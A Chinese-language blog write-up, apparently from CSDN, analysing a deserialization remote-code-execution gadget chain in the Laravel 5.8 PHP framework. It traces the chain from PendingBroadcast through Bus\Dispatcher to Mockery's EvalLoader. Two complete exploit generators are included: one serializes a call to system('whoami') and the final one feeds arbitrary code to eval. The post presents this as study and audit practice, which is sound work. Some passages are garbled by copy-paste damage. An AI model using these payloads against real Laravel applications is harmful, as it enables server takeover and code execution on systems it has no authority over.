laravel 58 RCE分析(一条链子)

写在最前面

之前审计过laravel54 55的框架,这次继续跟着WP审计一下laravel58,这次链子相比于前面两个框架,相比来说更为复杂一点,因此再审计的过程,建议读者不断回溯代码,理解每个参数变量的来源,环境搭建这里不做讲解了,直接进行分析

和laravel55 一样的EXP

首先依然是寻找_construct方法:这里找的是 :Illuminate\Broadcasting

在这里插入图片描述
_construct:

public function __destruct()
    {
        $this->events->dispatch($this->event);
    }

看看这里的dispatch方法:
在这里插入图片描述
这里的dispatch入口和laravel55一样,exp也一样,所以不再详细叙述,感兴趣的可以去看我的前一篇文章
给出EXP:

<?php

namespace Illuminate\Broadcasting
{
    class PendingBroadcast
    {
        protected $events;
        protected $event;

        function __construct($events, $parameter)
        {
            $this->events = $events;
            $this->event = $parameter;
        }
    }
}
namespace Illuminate\Events
{
    class Dispatcher
    {
        protected $listeners;

        function __construct($function, $parameter)
        {
            $this->listeners = [
                $parameter => [$function]
            ];
        }
    }
}
namespace{
    $b = new Illuminate\Events\Dispatcher('system','whoami');
    $a = new Illuminate\Broadcasting\PendingBroadcast($b,'whoami');
    echo urlencode(serialize($a));
}

效果图:
在这里插入图片描述

寻找一个新的链子->dispatch:

漏洞分析:

入口点依然是从_destruct开始分析:Illuminate\Broadcasting
在这里插入图片描述
然后开始寻找一个新的dispatch。那么我们的events一定是去实例化一个类
最后我们找到一个存在RCE入口的dispatch类:namespace Illuminate\Bus
在这里插入图片描述一个看起来很简单的方法,跟进一下dispatchToQueue方法和dispatchNow方法:
dispatchNow方法:
在这里插入图片描述
dispatchToQueue方法:
在这里插入图片描述

很显然dispatchToQueue存再一个call_user_func_arry函数,dispatchNow看起来复杂且不是很好RCE,所以不管是从代码量还是类函数来讲,我们都愿意调用dispatchToQueue。

现在第一个小目标: 让$this->queueResolver && $this->commandShouldBeQueued($command)为真从而调用
跟进一下方法:
在这里插入图片描述

instanceof 判断$command是否是该类的实例化,
跟进一下ShouldQueue:

在这里插入图片描述
单纯的一个接口,那么很好办,只要存在 use Illuminate\Contracts\Queue\ShouldQueue即可,那么我们可以从存在该use语句的php中,寻找新的可利用函数,那这里没有什么限制条件,具体实例哪一个我们可以先放一放,至少现在可以确定,$event得值一定是实例化一个类,我们已经可以通过上述语句从而调用dispatchToQueue方法,下面仔细跟进一下这个方法:

在这里插入图片描述### 思路分析:
1.看到画横线的语句,$connection,这个参数是Dispatch里面不存在,再细看,$command->connection->connection ,而我们再前面已经说过了,$command是实例化一个含有 use Illuminate\Contracts\Queue\ShouldQueue的文件,那么我们就从这些文件中找到一个protected $connection 或者public $connetcion ,我们就可以控制$connection的值
2.这里确确实实存在call_user_func,但是,没有存在return $queue,也就是说我们RCE的结果没有出口返回,欸,这就很烦。要是有出口,就可以直接RCE一步到位了
3.虽然没有返回出口,但是call_user_func是调用方法,那么就有希望通过调用其他类的方法,找到RCE并且有返回出口的类,再一看,这个$this->queueResolver 是$commond->queueResolver,而我们再前面说过什么?$commond是实例化一个含有use Illuminate\Contracts\Queue\ShouldQueue,并且存在protected $connection 或者public $connetcion的,而该Dispatch.php本身含有protected $queueResolve ,这样才参数可控,我们可以寻找一个新的RCE入口,

继续分析:

这里寻找到的入口点:
Illuminate\Broadcasting\BroadcastEvent
在这里插入图片描述
Queuebal.php内存在可控的conneciton
在这里插入图片描述而这里我们寻找到的下一个方法,这里选择的是: Mockery\Loader\EvalLoader,因为该方法中存在eval ,所以,关于 q u e u e R e s o l v e r 的 值 应 该 是 实 例 化 queueResolver的值应该是实例化 queueResolverthis->queueResolver,并且调用load方法,所以,this->$queueResolver=array(new Mockery\Loader\EvalLoader(), “load”)
这里为什么这么写我还不是很清楚,但是看得懂,是实例化该类并且调用方法。

接下来进入load方法仔细查看如何RCE
在这里插入图片描述
这里的意思是,实例化MockDfinition为 d e f i n i t i o n 要 想 执 行 e v a l , 那 么 就 不 能 进 入 i f , 跟 进 看 看 definition 要想执行eval,那么就不能进入if,跟进看看 definitionevalifdefinition->getClassName

在这里插入图片描述
很好,这里参数可控
class_exists — 检查类是否已定义,那么这里随便定义config即可,只要不是一个已经被实例化的类
这样一来,if可以绕过了,最后就是eval这个地方进行RCE,code参数就是我们RCE的地方

最终EXP:

<?php
namespace Illuminate\Broadcasting {
    class PendingBroadcast {
        protected $events;
        protected $event;
        function __construct($evilCode)
        {
            $this->events = new \Illuminate\Bus\Dispatcher();
            $this->event = new BroadcastEvent($evilCode);
        }
    }

  class BroadcastEvent {
        public $connection;
        function __construct($evilCode)
        {
            $this->connection = new \Mockery\Generator\MockDefinition($evilCode);
        }
    }
}

namespace Illuminate\Bus {
    class Dispatcher {
        protected $queueResolver;
        function __construct()
        {
            $this->queueResolver = [new \Mockery\Loader\EvalLoader(), 'load'];
        }
    }
}

namespace Mockery\Loader {
    class EvalLoader {}
}
namespace Mockery\Generator {
    class MockDefinition {
        protected $config;
        protected $code;
        function __construct($evilCode)
        {
            $this->code = $evilCode;
            $this->config = new MockConfiguration();
        }
    }
    class MockConfiguration {
        protected $name = 'abcdefg';
    }
}

namespace {
  $code = "<?php phpinfo(); exit; ?>";
  $exp = new \Illuminate\Broadcasting\PendingBroadcast($code);
  echo urlencode(serialize($exp));
}
?>

code就是RCE的地方
成功执行PHPINFO();
在这里插入图片描述
输出 seveen_1:
在这里插入图片描述

总结:

一个框架里面总会有很多类的函数可以RCE。从理解到复现链子就需要几个小时的时间,更别说,自主去寻找一个链子。还是那句话,函数在那,主要去找,总会找到的。这篇文章的laravel57跳板有两个,首先找到call_user_func,再通过call_user_func去找一个新的可以RCE的入口,相对于前面laravel54 55这两个链子来说,以前的链子更单一,找到一个类似RCE的入口就可以直接拿下来。所以这个框架相对来说难一点。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值